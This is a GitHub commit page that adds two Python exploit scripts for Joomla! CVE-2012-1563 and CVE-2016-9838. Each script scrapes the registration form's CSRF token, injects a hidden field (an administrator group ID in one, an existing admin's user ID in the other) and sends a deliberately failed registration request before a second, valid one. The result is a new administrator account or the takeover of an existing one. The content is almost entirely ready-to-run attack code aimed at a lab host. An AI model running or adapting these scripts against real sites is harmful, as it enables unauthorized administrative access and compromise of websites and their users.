Skip to content

Commit ff0e9a2

Browse files
authored
JOOMLA! ACCOUNT TAKEOVER & REMOTE CODE EXECUTION
1 parent bc82701 commit ff0e9a2

File tree

2 files changed

+108
-0
lines changed

2 files changed

+108
-0
lines changed

Joomla!2.5.2.py

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
#!/usr/bin/python3
2+
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
3+
# cf
4+
5+
import bs4
6+
import requests
7+
import random
8+
9+
10+
url = 'http://vmweb.lan/joomla-cms-2.5.2/'
11+
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
12+
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'
13+
14+
username = 'user%d' % random.randrange(1000, 10000)
15+
email = username + '@yopmail.com'
16+
password = 'ActualRandomChimpanzee123'
17+
18+
user_data = {
19+
'name': username,
20+
'username': username,
21+
'password1': password,
22+
'password2': password + 'XXXinvalid',
23+
'email1': email,
24+
'email2': email,
25+
'groups][': '7'
26+
}
27+
28+
session = requests.Session()
29+
30+
# Grab original data from the form, including the CSRF token
31+
32+
response = session.get(form_url)
33+
soup = bs4.BeautifulSoup(response.text, 'lxml')
34+
35+
form = soup.find('form', id='member-registration')
36+
data = {e['name']: e['value'] for e in form.find_all('input')}
37+
38+
# Build our modified data array
39+
40+
user_data = {'%s]' % k: v for k, v in user_data.items()}
41+
data.update(user_data)
42+
43+
# First request will get denied because the two passwords are mismatched
44+
45+
response = session.post(action_url, data=data)
46+
47+
# The second will work
48+
49+
data['jform[password2]'] = data['jform[password1]']
50+
del data['jform[groups][]']
51+
response = session.post(action_url, data=data)
52+
53+
print("Account created for user: %s [%s]" % (username, email))

Joomla!3.6.4+.py

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
#!/usr/bin/python3
2+
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
3+
# cf
4+
5+
import bs4
6+
import requests
7+
import random
8+
9+
10+
ADMIN_ID = 384
11+
url = 'http://vmweb.lan/Joomla-3.6.4/'
12+
13+
form_url = url + 'index.php/component/users/?view=registration'
14+
action_url = url + 'index.php/component/users/?task=registration.register'
15+
16+
username = 'user%d' % random.randrange(1000, 10000)
17+
email = username + '@yopmail.com'
18+
password = 'ActualRandomChimpanzee123'
19+
20+
user_data = {
21+
'name': username,
22+
'username': username,
23+
'password1': password,
24+
'password2': password + 'XXXinvalid',
25+
'email1': email,
26+
'email2': email,
27+
'id': '%d' % ADMIN_ID
28+
}
29+
30+
session = requests.Session()
31+
32+
# Grab original data from the form, including the CSRF token
33+
34+
response = session.get(form_url)
35+
soup = bs4.BeautifulSoup(response.text, 'lxml')
36+
37+
form = soup.find('form', id='member-registration')
38+
data = {e['name']: e['value'] for e in form.find_all('input')}
39+
40+
# Build our modified data array
41+
42+
user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
43+
data.update(user_data)
44+
45+
# First request will get denied because the two passwords are mismatched
46+
47+
response = session.post(action_url, data=data)
48+
49+
# The second will work
50+
51+
data['jform[password2]'] = data['jform[password1]']
52+
del data['jform[id]']
53+
response = session.post(action_url, data=data)
54+
55+
print("Account modified to user: %s [%s]" % (username, email))

0 commit comments

Comments
 (0)